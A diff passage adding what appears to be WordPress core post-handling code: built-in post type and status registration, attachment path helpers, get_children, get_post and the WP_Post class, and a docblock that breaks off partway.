+		'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'page-attributes', 'custom-fields', 'comments', 'revisions' ),
+	) );
+
+	register_post_type( 'attachment', array(
+		'labels' => array(
+			'name' => _x('Media', 'post type general name'),
+			'name_admin_bar' => _x( 'Media', 'add new from admin bar' ),
+			'add_new' => _x( 'Add New', 'add new media' ),
+ 			'edit_item' => __( 'Edit Media' ),
+ 			'view_item' => __( 'View Attachment Page' ),
+		),
+		'public' => true,
+		'show_ui' => true,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'capabilities' => array(
+			'create_posts' => 'upload_files',
+		),
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'show_in_nav_menus' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'title', 'author', 'comments' ),
+	) );
+	add_post_type_support( 'attachment:audio', 'thumbnail' );
+	add_post_type_support( 'attachment:video', 'thumbnail' );
+
+	register_post_type( 'revision', array(
+		'labels' => array(
+			'name' => __( 'Revisions' ),
+			'singular_name' => __( 'Revision' ),
+		),
+		'public' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'revision.php?revision=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'can_export' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'author' ),
+	) );
+
+	register_post_type( 'nav_menu_item', array(
+		'labels' => array(
+			'name' => __( 'Navigation Menu Items' ),
+			'singular_name' => __( 'Navigation Menu Item' ),
+		),
+		'public' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'hierarchical' => false,
+		'rewrite' => false,
+		'delete_with_user' => false,
+		'query_var' => false,
+	) );
+
+	register_post_status( 'publish', array(
+		'label'       => _x( 'Published', 'post' ),
+		'public'      => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'future', array(
+		'label'       => _x( 'Scheduled', 'post' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop('Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'draft', array(
+		'label'       => _x( 'Draft', 'post' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'pending', array(
+		'label'       => _x( 'Pending', 'post' ),
+		'protected'   => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'private', array(
+		'label'       => _x( 'Private', 'post' ),
+		'private'     => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>' ),
+	) );
+
+	register_post_status( 'trash', array(
+		'label'       => _x( 'Trash', 'post' ),
+		'internal'    => true,
+		'_builtin'    => true, /* internal use only. */
+		'label_count' => _n_noop( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>' ),
+		'show_in_admin_status_list' => true,
+	) );
+
+	register_post_status( 'auto-draft', array(
+		'label'    => 'auto-draft',
+		'internal' => true,
+		'_builtin' => true, /* internal use only. */
+	) );
+
+	register_post_status( 'inherit', array(
+		'label'    => 'inherit',
+		'internal' => true,
+		'_builtin' => true, /* internal use only. */
+		'exclude_from_search' => false,
+	) );
+}
+add_action( 'init', 'create_initial_post_types', 0 ); // highest priority
+
+/**
+ * Retrieve attached file path based on attachment ID.
+ *
+ * By default the path will go through the 'get_attached_file' filter, but
+ * passing a true to the $unfiltered argument of get_attached_file() will
+ * return the file path unfiltered.
+ *
+ * The function works by getting the single post meta name, named
+ * '_wp_attached_file' and returning it. This is a convenience function to
+ * prevent looking up the meta name and provide a mechanism for sending the
+ * attached filename through a filter.
+ *
+ * @since 2.0.0
+ *
+ * @param int  $attachment_id Attachment ID.
+ * @param bool $unfiltered    Optional. Whether to apply filters. Default false.
+ * @return string|bool The file path to where the attached file should be, false otherwise.
+ */
+function get_attached_file( $attachment_id, $unfiltered = false ) {
+	$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
+	// If the file is relative, prepend upload dir.
+	if ( $file && 0 !== strpos($file, '/') && !preg_match('|^.:\\\|', $file) && ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) )
+		$file = $uploads['basedir'] . "/$file";
+	if ( $unfiltered )
+		return $file;
+
+	/**
+	 * Filter the attached file based on the given ID.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $file          Path to attached file.
+	 * @param int    $attachment_id Attachment ID.
+	 */
+	return apply_filters( 'get_attached_file', $file, $attachment_id );
+}
+
+/**
+ * Update attachment file path based on attachment ID.
+ *
+ * Used to update the file path of the attachment, which uses post meta name
+ * '_wp_attached_file' to store the path of the attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int    $attachment_id Attachment ID.
+ * @param string $file          File path for the attachment.
+ * @return bool True on success, false on failure.
+ */
+function update_attached_file( $attachment_id, $file ) {
+	if ( !get_post( $attachment_id ) )
+		return false;
+
+	/**
+	 * Filter the path to the attached file to update.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $file          Path to the attached file to update.
+	 * @param int    $attachment_id Attachment ID.
+	 */
+	$file = apply_filters( 'update_attached_file', $file, $attachment_id );
+
+	if ( $file = _wp_relative_upload_path( $file ) )
+		return update_post_meta( $attachment_id, '_wp_attached_file', $file );
+	else
+		return delete_post_meta( $attachment_id, '_wp_attached_file' );
+}
+
+/**
+ * Return relative path to an uploaded file.
+ *
+ * The path is relative to the current upload dir.
+ *
+ * @since 2.9.0
+ *
+ * @param string $path Full path to the file.
+ * @return string Relative path on success, unchanged path on failure.
+ */
+function _wp_relative_upload_path( $path ) {
+	$new_path = $path;
+
+	$uploads = wp_upload_dir();
+	if ( 0 === strpos( $new_path, $uploads['basedir'] ) ) {
+			$new_path = str_replace( $uploads['basedir'], '', $new_path );
+			$new_path = ltrim( $new_path, '/' );
+	}
+
+	/**
+	 * Filter the relative path to an uploaded file.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $new_path Relative path to the file.
+	 * @param string $path     Full path to the file.
+	 */
+	return apply_filters( '_wp_relative_upload_path', $new_path, $path );
+}
+
+/**
+ * Retrieve all children of the post parent ID.
+ *
+ * Normally, without any enhancements, the children would apply to pages. In the
+ * context of the inner workings of WordPress, pages, posts, and attachments
+ * share the same table, so therefore the functionality could apply to any one
+ * of them. It is then noted that while this function does not work on posts, it
+ * does not mean that it won't work on posts. It is recommended that you know
+ * what context you wish to retrieve the children of.
+ *
+ * Attachments may also be made the child of a post, so if that is an accurate
+ * statement (which needs to be verified), it would then be possible to get
+ * all of the attachments for a post. Attachments have since changed since
+ * version 2.5, so this is most likely unaccurate, but serves generally as an
+ * example of what is possible.
+ *
+ * The arguments listed as defaults are for this function and also of the
+ * {@link get_posts()} function. The arguments are combined with the
+ * get_children defaults and are then passed to the {@link get_posts()}
+ * function, which accepts additional arguments. You can replace the defaults in
+ * this function, listed below and the additional arguments listed in the
+ * {@link get_posts()} function.
+ *
+ * The 'post_parent' is the most important argument and important attention
+ * needs to be paid to the $args parameter. If you pass either an object or an
+ * integer (number), then just the 'post_parent' is grabbed and everything else
+ * is lost. If you don't specify any arguments, then it is assumed that you are
+ * in The Loop and the post parent will be grabbed for from the current post.
+ *
+ * The 'post_parent' argument is the ID to get the children. The 'numberposts'
+ * is the amount of posts to retrieve that has a default of '-1', which is
+ * used to get all of the posts. Giving a number higher than 0 will only
+ * retrieve that amount of posts.
+ *
+ * The 'post_type' and 'post_status' arguments can be used to choose what
+ * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress
+ * post types are 'post', 'pages', and 'attachments'. The 'post_status'
+ * argument will accept any post status within the write administration panels.
+ *
+ * @internal Claims made in the long description might be inaccurate.
+ * @since 2.0.0
+ *
+ * @see get_posts()
+ *
+ * @param mixed  $args   Optional. User defined arguments for replacing the defaults. Default empty.
+ * @param string $output Optional. Constant for return type. Accepts OBJECT, ARRAY_A, ARRAY_N.
+ *                       Default OBJECt.
+ * @return array Array of children, where the type of each element is determined by $output parameter.
+ *               Empty array on failure.
+ */
+function get_children( $args = '', $output = OBJECT ) {
+	$kids = array();
+	if ( empty( $args ) ) {
+		if ( isset( $GLOBALS['post'] ) ) {
+			$args = array('post_parent' => (int) $GLOBALS['post']->post_parent );
+		} else {
+			return $kids;
+		}
+	} elseif ( is_object( $args ) ) {
+		$args = array('post_parent' => (int) $args->post_parent );
+	} elseif ( is_numeric( $args ) ) {
+		$args = array('post_parent' => (int) $args);
+	}
+
+	$defaults = array(
+		'numberposts' => -1, 'post_type' => 'any',
+		'post_status' => 'any', 'post_parent' => 0,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$children = get_posts( $r );
+
+	if ( ! $children )
+		return $kids;
+
+	if ( ! empty( $r['fields'] ) )
+		return $children;
+
+	update_post_cache($children);
+
+	foreach ( $children as $key => $child )
+		$kids[$child->ID] = $children[$key];
+
+	if ( $output == OBJECT ) {
+		return $kids;
+	} elseif ( $output == ARRAY_A ) {
+		foreach ( (array) $kids as $kid )
+			$weeuns[$kid->ID] = get_object_vars($kids[$kid->ID]);
+		return $weeuns;
+	} elseif ( $output == ARRAY_N ) {
+		foreach ( (array) $kids as $kid )
+			$babes[$kid->ID] = array_values(get_object_vars($kids[$kid->ID]));
+		return $babes;
+	} else {
+		return $kids;
+	}
+}
+
+/**
+ * Get extended entry info (<!--more-->).
+ *
+ * There should not be any space after the second dash and before the word
+ * 'more'. There can be text or space(s) after the word 'more', but won't be
+ * referenced.
+ *
+ * The returned array has 'main', 'extended', and 'more_text' keys. Main has the text before
+ * the `<!--more-->`. The 'extended' key has the content after the
+ * `<!--more-->` comment. The 'more_text' key has the custom "Read More" text.
+ *
+ * @since 1.0.0
+ *
+ * @param string $post Post content.
+ * @return array Post before ('main'), after ('extended'), and custom readmore ('more_text').
+ */
+function get_extended( $post ) {
+	//Match the new style more links.
+	if ( preg_match('/<!--more(.*?)?-->/', $post, $matches) ) {
+		list($main, $extended) = explode($matches[0], $post, 2);
+		$more_text = $matches[1];
+	} else {
+		$main = $post;
+		$extended = '';
+		$more_text = '';
+	}
+
+	//  leading and trailing whitespace.
+	$main = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $main);
+	$extended = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $extended);
+	$more_text = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $more_text);
+
+	return array( 'main' => $main, 'extended' => $extended, 'more_text' => $more_text );
+}
+
+/**
+ * Retrieves post data given a post ID or post object.
+ *
+ * See {@link sanitize_post()} for optional $filter values. Also, the parameter
+ * $post, must be given as a variable, since it is passed by reference.
+ *
+ * @since 1.5.1
+ *
+ * @param int|WP_Post $post   Optional. Post ID or post object. Defaults to global $post.
+ * @param string      $output Optional, default is Object. Accepts OBJECT, ARRAY_A, or ARRAY_N.
+ *                            Default OBJECT.
+ * @param string      $filter Optional. Type of filter to apply. Accepts 'raw', 'edit', 'db',
+ *                            or 'display'. Default 'raw'.
+ * @return WP_Post|null WP_Post on success or null on failure.
+ */
+function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
+	if ( empty( $post ) && isset( $GLOBALS['post'] ) )
+		$post = $GLOBALS['post'];
+
+	if ( is_a( $post, 'WP_Post' ) ) {
+		$_post = $post;
+	} elseif ( is_object( $post ) ) {
+		if ( empty( $post->filter ) ) {
+			$_post = sanitize_post( $post, 'raw' );
+			$_post = new WP_Post( $_post );
+		} elseif ( 'raw' == $post->filter ) {
+			$_post = new WP_Post( $post );
+		} else {
+			$_post = WP_Post::get_instance( $post->ID );
+		}
+	} else {
+		$_post = WP_Post::get_instance( $post );
+	}
+
+	if ( ! $_post )
+		return null;
+
+	$_post = $_post->filter( $filter );
+
+	if ( $output == ARRAY_A )
+		return $_post->to_array();
+	elseif ( $output == ARRAY_N )
+		return array_values( $_post->to_array() );
+
+	return $_post;
+}
+
+/**
+ * WordPress Post class.
+ *
+ * @since 3.5.0
+ *
+ */
+final class WP_Post {
+
+	/**
+	 * Post ID.
+	 *
+	 * @var int
+	 */
+	public $ID;
+
+	/**
+	 * ID of post author.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @var string
+	 */
+	public $post_author = 0;
+
+	/**
+	 * The post's local publication time.
+	 *
+	 * @var string
+	 */
+	public $post_date = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's GMT publication time.
+	 *
+	 * @var string
+	 */
+	public $post_date_gmt = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's content.
+	 *
+	 * @var string
+	 */
+	public $post_content = '';
+
+	/**
+	 * The post's title.
+	 *
+	 * @var string
+	 */
+	public $post_title = '';
+
+	/**
+	 * The post's excerpt.
+	 *
+	 * @var string
+	 */
+	public $post_excerpt = '';
+
+	/**
+	 * The post's status.
+	 *
+	 * @var string
+	 */
+	public $post_status = 'publish';
+
+	/**
+	 * Whether comments are allowed.
+	 *
+	 * @var string
+	 */
+	public $comment_status = 'open';
+
+	/**
+	 * Whether pings are allowed.
+	 *
+	 * @var string
+	 */
+	public $ping_status = 'open';
+
+	/**
+	 * The post's password in plain text.
+	 *
+	 * @var string
+	 */
+	public $post_password = '';
+
+	/**
+	 * The post's slug.
+	 *
+	 * @var string
+	 */
+	public $post_name = '';
+
+	/**
+	 * URLs queued to be pinged.
+	 *
+	 * @var string
+	 */
+	public $to_ping = '';
+
+	/**
+	 * URLs that have been pinged.
+	 *
+	 * @var string
+	 */
+	public $pinged = '';
+
+	/**
+	 * The post's local modified time.
+	 *
+	 * @var string
+	 */
+	public $post_modified = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's GMT modified time.
+	 *
+	 * @var string
+	 */
+	public $post_modified_gmt = '0000-00-00 00:00:00';
+
+	/**
+	 * A utility DB field for post content.
+	 *
+	 *
+	 * @var string
+	 */
+	public $post_content_filtered = '';
+
+	/**
+	 * ID of a post's parent post.
+	 *
+	 * @var int
+	 */
+	public $post_parent = 0;
+
+	/**
+	 * The unique identifier for a post, not necessarily a URL, used as the feed GUID.
+	 *
+	 * @var string
+	 */
+	public $guid = '';
+
+	/**
+	 * A field used for ordering posts.
+	 *
+	 * @var int
+	 */
+	public $menu_order = 0;
+
+	/**
+	 * The post's type, like post or page.
+	 *
+	 * @var string
+	 */
+	public $post_type = 'post';
+
+	/**
+	 * An attachment's mime type.
+	 *
+	 * @var string
+	 */
+	public $post_mime_type = '';
+
+	/**
+	 * Cached comment count.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @var string
+	 */
+	public $comment_count = 0;
+
+	/**
+	 * Stores the post object's sanitization level.
+	 *
+	 * Does not correspond to a DB field.
+	 *
+	 * @var string
+	 */
+	public $filter;
+
+	/**
+	 * Retrieve WP_Post instance.
+	 *
+	 * @static
+	 * @access public
+	 *
+	 * @param int $post_id Post ID.
+	 * @return WP_Post|bool Post object, false otherwise.
+	 */
+	public static function get_instance( $post_id ) {
+		global $wpdb;
+
+		$post_id = (int) $post_id;
+		if ( ! $post_id )
+			return false;
+
+		$_post = wp_cache_get( $post_id, 'posts' );
+
+		if ( ! $_post ) {
+			$_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) );
+
+			if ( ! $_post )
+				return false;
+
+			$_post = sanitize_post( $_post, 'raw' );
+			wp_cache_add( $_post->ID, $_post, 'posts' );
+		} elseif ( empty( $_post->filter ) ) {
+			$_post = sanitize_post( $_post, 'raw' );
+		}
+
+		return new WP_Post( $_post );
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	public function __construct( $post ) {
+		foreach ( get_object_vars( $post ) as $key => $value )
+			$this->$key = $value;
+	}
+
+	/**
+	 * Isset-er.
+	 *
+	 * @param string $key Property to check if set.
+	 * @return bool
+	 */
+	public function __isset( $key ) {
+		if ( 'ancestors' == $key )
+			return true;
+
+		if ( 'page_template' == $key )
+			return ( 'page' == $this->post_type );
+
+		if ( 'post_category' == $key )
+		   return true;
+
+		if ( 'tags_input' == $key )
+		   return true;
+
+		return metadata_exists( 'post', $this->ID, $key );
+	}
+
+	/**
+	 * Getter.
+	 *
+	 * @param string $key Key to get.
+	 * @return array|mixed
+	 */
+	public function __get( $key ) {
+		if ( 'page_template' == $key && $this->__isset( $key ) ) {
+			return get_post_meta( $this->ID, '_wp_page_template', true );
+		}
+
+		if ( 'post_category' == $key ) {
+			if ( is_object_in_taxonomy( $this->post_type, 'category' ) )
+				$terms = get_the_terms( $this, 'category' );
+
+			if ( empty( $terms ) )
+				return array();
+
+			return wp_list_pluck( $terms, 'term_id' );
+		}
+
+		if ( 'tags_input' == $key ) {
+			if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) )
+				$terms = get_the_terms( $this, 'post_tag' );
+
+			if ( empty( $terms ) )
+				return array();
+
+			return wp_list_pluck( $terms, 'name' );
+		}
+
+		// Rest of the values need filtering.
+		if ( 'ancestors' == $key )
+			$value = get_post_ancestors( $this );
+		else
+			$value = get_post_meta( $this->ID, $key, true );
+
+		if ( $this->filter )
+			$value = sanitize_post_field( $key, $value, $this->ID, $this->filter );
+
+		return $value;
+	}
+
+	/**
+	 * {@Missing Summary}
+	 *
+	 * @param string $filter Filter.
+	 * @return $this|array|bool|object|WP_Post
+	 */
+	public function filter( $filter ) {
+		if ( $this->filter == $filter )
+			return $this;
+
+		if ( $filter == 'raw' )
+			return self::get_instance( $this->ID );
+
+		return sanitize_post( $this, $filter );
+	}
+
+	/**
+	 * Convert object to array.
+	 *
+	 * @return array Object as array.
+	 */
+	public function to_array() {
+		$post = get_object_vars( $this );
+
+		foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) {
+			if ( $this->__isset( $key ) )
+				$post[ $key ] = $this->__get( $key );
+		}
+
+		return $post;
+	}
+}
+
+/**
+ * Retrieve ancestors of a post.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Post ID or post object.
+ * @return array Ancestor IDs or empty array if none are found.
+ */
+function get_post_ancestors( $post ) {
+	$post = get_post( $post );
+
+	if ( ! $post || empty( $post->post_parent ) || $post->post_parent == $post->ID )
+		return array();
+
+	$ancestors = array();
+
+	$id = $ancestors[] = $post->post_parent;
+
+	while ( $ancestor = get_post( $id ) ) {
+		// Loop detection: If the ancestor has been seen before, break.
+		if ( empty( $ancestor->post_parent ) || ( $ancestor->post_parent == $post->ID ) || in_array( $ancestor->post_parent, $ancestors ) )
+			break;
+
+		$id = $ancestors[] = $ancestor->post_parent;
+	}
+
+	return $ancestors;
+}
+
+/**
+ * Retrieve data from a post field based on Post ID.
+ *
+ * Examples of the post field will be, 'post_type', 'post_status', 'post_content',
+ * etc and based off of the post object property or key names.
+ *
+ * The context values are based off of the taxonomy filter functions and
+ * supported values are found within those functions.
+ *
+ * @since 2.3.0
+ *
+ * @see sanitize_post_field()
+ *
+ * @param string      $field   Post field name.
+ * @param int|WP_Post $post    Post ID or post object.
+ * @param string      $context Optional. How to filter the field. Accepts 'raw', 'edit', 'db',
+ *                             or 'display'. Default 'display'.
+ * @return string The value of the post field on success, empty string on failure.
+ */
+function get_post_field( $field, $post, $context = 'display' ) {
+	$post = get_post( $post );
+
+	if ( !$post )
+		return '';
+
+	if ( !isset($post->$field) )
+		return '';
+
+	return sanitize_post_field($field, $post->$field, $post->ID, $context);
+}
+
+/**
+ * Retrieve the mime type of an attachment based on the ID.
+ *
+ * This function can be used with any post type, but it makes more sense with
+ * attachments.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
+ * @return string|false The mime type on success, false on failure.
+ */
+function get_post_mime_type( $ID = '' ) {
+	$post = get_post($ID);
+
+	if ( is_object($post) )
+		return $post->post_mime_type;
+
+	return false;
+}
+
+/**
+ * Retrieve the post status based on the Post ID.
+ *
+ * If the post ID is of an attachment, then the parent post status will be given
+ * instead.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $ID Optional. Post ID or post object. Default empty.
+ * @return string|false Post status on success, false on failure.
+ */
+function get_post_status( $ID = '' ) {
+	$post = get_post($ID);
+
+	if ( !is_object($post) )
+		return false;
+
+	if ( 'attachment' == $post->post_type ) {
+		if ( 'private' == $post->post_status )
+			return 'private';
+
+		// Unattached attachments are assumed to be published.
+		if ( ( 'inherit' == $post->post_status ) && ( 0 == $post->post_parent) )
+			return 'publish';
+
+		// Inherit status from the parent.
+		if ( $post->post_parent && ( $post->ID != $post->post_parent ) ) {
+			$parent_post_status = get_post_status( $post->post_parent );
+			if ( 'trash' == $parent_post_status ) {
+				return get_post_meta( $post->post_parent, '_wp_trash_meta_status', true );
+			} else {
+				return $parent_post_status;
+			}
+		}
+
+	}
+
+	return $post->post_status;
+}
+
+/**
+ * Retrieve all of the WordPress supported post statuses.
+ *
+ * Posts have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of post statuses.
+ */
+function get_post_statuses() {
+	$status = array(
+		'draft'   => __( 'Draft' ),
+		'pending' => __( 'Pending Review' ),
+		'private' => __( 'Private' ),
+		'publish' => __( 'Published' )
+	);
+
+	return $status;
+}
+
+/**
+ * Retrieve all of the WordPress support page statuses.
+ *
+ * Pages have a limited set of valid status values, this provides the
+ * post_status values and descriptions.
+ *
+ * @since 2.5.0
+ *
+ * @return array List of page statuses.
+ */
+function get_page_statuses() {
+	$status = array(
+		'draft'   => __( 'Draft' ),
+		'private' => __( 'Private' ),
+		'publish' => __( 'Published' )
+	);
+
+	return $status;
+}
+
+/**
+ * Register a post status. Do not use before init.
+ *
+ * A simple function for creating or modifying a post status based on the
+ * parameters given. The function will accept an array (second optional
+ * parameter), along with a string for the post status name.
+ *
+ * Arguments prefixed with an _underscore shouldn't be used by plugins and themes.
+ *
+ * @since 3.0.0
+ * @uses $wp_post_statuses Inserts new post status object into the list
+ *
+ * @param string $post_status Name of the post status.
+ * @param array|string $args {
+ *     Optional. Array or string of post status arguments.
+ *
+ *     @type bool|string $label                     A descriptive name for the post status marked
+ *                                                  for translation. Defaults to value of $post_status.
+ *     @type bool|array  $label_count               Descriptive text to use for nooped plurals.
+ *                                                  Default array of $label, twice
+ *     @type bool        $exclude_from_search       Whether to exclude posts with this post status
+ *                                                  from search results. Default is value of $internal.
+ *     @type bool        $_builtin                  Whether the status is built-in. Core-use only.
+ *                                                  Default false.
+ *     @type bool        $public                    Whether posts of this status should be shown
+ *                                                  in the front end of the site. Default true.
+ *     @type bool        $internal                  Whether the status is for internal use only.
+ *                                                  Default false.
+ *     @type bool        $protected                 Whether posts with this status should be protected.
+ *                                                  Default false.
+ *     @type bool        $private                   Whether posts with this status should be private.
+ *                                                  Default false.
+ *     @type bool        $publicly_queryable        Whether posts with this status should be publicly-
+ *                                                  queryable. Default is value of $public.
+ *     @type bool        $show_in_admin_all_list    Whether to include posts in the edit listing for
+ *                                                  their post type. Default is value of $internal.
+ *     @type bool        $show_in_admin_status_list Show in the list of statuses with post counts at
+ *                                                  the top of the edit listings,
+ *                                                  e.g. All (12) | Published (9) | My Custom Status (2)
+ *                                                  Default is value of $internal.
+ * }
+ */
+function register_post_status( $post_status, $args = array() ) {
+	global $wp_post_statuses;
+
+	if (!is_array($wp_post_statuses))
+		$wp_post_statuses = array();
+
+	// Args prefixed with an underscore are reserved for internal use.
+	$defaults = array(
+		'label' => false,
+		'label_count' => false,
+		'exclude_from_search' => null,
+		'_builtin' => false,
+		'public' => null,
+		'internal' => null,
+		'protected' => null,
+		'private' => null,
+		'publicly_queryable' => null,
+		'show_in_admin_status_list' => null,
+		'show_in_admin_all_list' => null,
+	);
+	$args = wp_parse_args($args, $defaults);
+	$args = (object) $args;
+
+	$post_status = sanitize_key($post_status);
+	$args->name = $post_status;
+
+	// Set various defaults.
+	if ( null === $args->public && null === $args->internal && null === $args->protected && null === $args->private )
+		$args->internal = true;
+
+	if ( null === $args->public  )
+		$args->public = false;
+
+	if ( null === $args->private  )
+		$args->private = false;
+
+	if ( null === $args->protected  )
+		$args->protected = false;
+
+	if ( null === $args->internal  )
+		$args->internal = false;
+
+	if ( null === $args->publicly_queryable )
+		$args->publicly_queryable = $args->public;
+
+	if ( null === $args->exclude_from_search )
+		$args->exclude_from_search = $args->internal;
+
+	if ( null === $args->show_in_admin_all_list )
+		$args->show_in_admin_all_list = !$args->internal;
+
+	if ( null === $args->show_in_admin_status_list )
+		$args->show_in_admin_status_list = !$args->internal;
+
+	if ( false === $args->label )
+		$args->label = $post_status;
+
+	if ( false === $args->label_count )
+		$args->label_count = array( $args->label, $args->label );
+
+	$wp_post_statuses[$post_status] = $args;
+
+	return $args;
+}
+
+/**
+ * Retrieve a post status object by name.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_post_statuses List of post statuses.
+ *
+ * @see register_post_status()
+ *
+ * @param string $post_status The name of a registered post status.
+ * @return object A post status object.
+ */
+function get_post_status_object( $post_status ) {
+	global $wp_post_statuses;
+
+	if ( empty($wp_post_statuses[$post_status]) )
+		return null;
+
+	return $wp_post_statuses[$post_status];
+}
+
+/**
+ * Get a list of post statuses.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_post_statuses List of post statuses.
+ *
+ * @see register_post_status()
+ *
+ * @param array|string $args     Optional. Array or string of post status arguments to compare against
+ *                               properties of the global `$wp_post_statuses objects`. Default empty array.
+ * @param string       $output   Optional. The type of output to return, either 'names' or 'objects'. Default 'names'.
+ * @param string       $operator Optional. The logical operation to perform. 'or' means only one element
+ *                               from the array needs to match; 'and' means all elements must match.
+ *                               Default 'and'.
+ * @return array A list of post status names or objects.
+ */
+function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_post_statuses;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_post_statuses, $args, $operator, $field);
+}
+
+/**
+ * Whether the post type is hierarchical.
+ *
+ * A false return value might also mean that the post type does not exist.
+ *
+ * @since 3.0.0
+ *
+ * @see get_post_type_object()
+ *
+ * @param string $post_type Post type name
+ * @return bool Whether post type is hierarchical.
+ */
+function is_post_type_hierarchical( $post_type ) {
+	if ( ! post_type_exists( $post_type ) )
+		return false;
+
+	$post_type = get_post_type_object( $post_type );
+	return $post_type->hierarchical;
+}
+
+/**
+ * Check if a post type is registered.
+ *
+ * @since 3.0.0
+ *
+ * @see get_post_type_object()
+ *
+ * @param string $post_type Post type name.
+ * @return bool Whether post type is registered.
+ */
+function post_type_exists( $post_type ) {
+	return (bool) get_post_type_object( $post_type );
+}
+
+/**
+ * Retrieve the post type of the current post or of a given post.
+ *
+ * @since 2.1.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or post object. Default is global $post.
+ * @return string|false Post type on success, false on failure.
+ */
+function get_post_type( $post = null ) {
+	if ( $post = get_post( $post ) )
+		return $post->post_type;
+
+	return false;
+}
+
+/**
+ * Retrieve a post type object by name.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @see register_post_type()
+ *
+ * @param string $post_type The name of a registered post type.
+ * @return object A post type object.
+ */
+function get_post_type_object( $post_type ) {
+	global $wp_post_types;
+
+	if ( empty($wp_post_types[$post_type]) )
+		return null;
+
+	return $wp_post_types[$post_type];
+}
+
+/**
+ * Get a list of all registered post type objects.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_post_types List of post types.
+ *
+ * @see register_post_type() for accepted arguments.
+ *
+ * @param array|string $args     Optional. An array of key => value arguments to match against
+ *                               the post type objects. Default empty array.
+ * @param string       $output   Optional. The type of output to return. Accepts post type 'names'
+ *                               or 'objects'. Default 'names'.
+ * @param string       $operator Optional. The logical operation to perform. 'or' means only one
+ *                               element from the array needs to match; 'and' means all elements
+ *                               must match. Accepts 'or' or 'and'. Default 'and'.
+ * @return array A list of post type names or objects.
+ */
+function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_post_types;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_post_types, $args, $operator, $field);
+}
+
+/**
+ * Register a post type. Do not use before init.
+ *
+ * A function for creating or modifying a post type based on the
+ * parameters given. The function will accept an array (second optional
+ * parameter), along with a string for the post type name.
+ *
+ * @since 2.9.0
+ *
+ * @global array      $wp_post_types List of post types.
+ * @global WP_Rewrite $wp_rewrite    Used for default feeds.
+ * @global WP         $wp            Used to add query vars.
+ *
+ * @param string $post_type Post type key, must not exceed 20 characters.
+ * @param array|string $args {
+ *     Array or string of arguments for registering a post type.
+ *
+ *     @type string      $label                Name of the post type shown in the menu. Usually plural.
+ *                                             Default is value of $labels['name'].
+ *     @type array       $labels               An array of labels for this post type. If not set, post
+ *                                             labels are inherited for non-hierarchical types and page
+ *                                             labels for hierarchical ones. {@see get_post_type_labels()}.
+ *     @type string      $description          A short descriptive summary of what the post type is.
+ *                                             Default empty.
+ *     @type bool        $public               Whether a post type is intended for use publicly either via
+ *                                             the admin interface or by front-end users. While the default
+ *                                             settings of $exclude_from_search, $publicly_queryable, $show_ui,
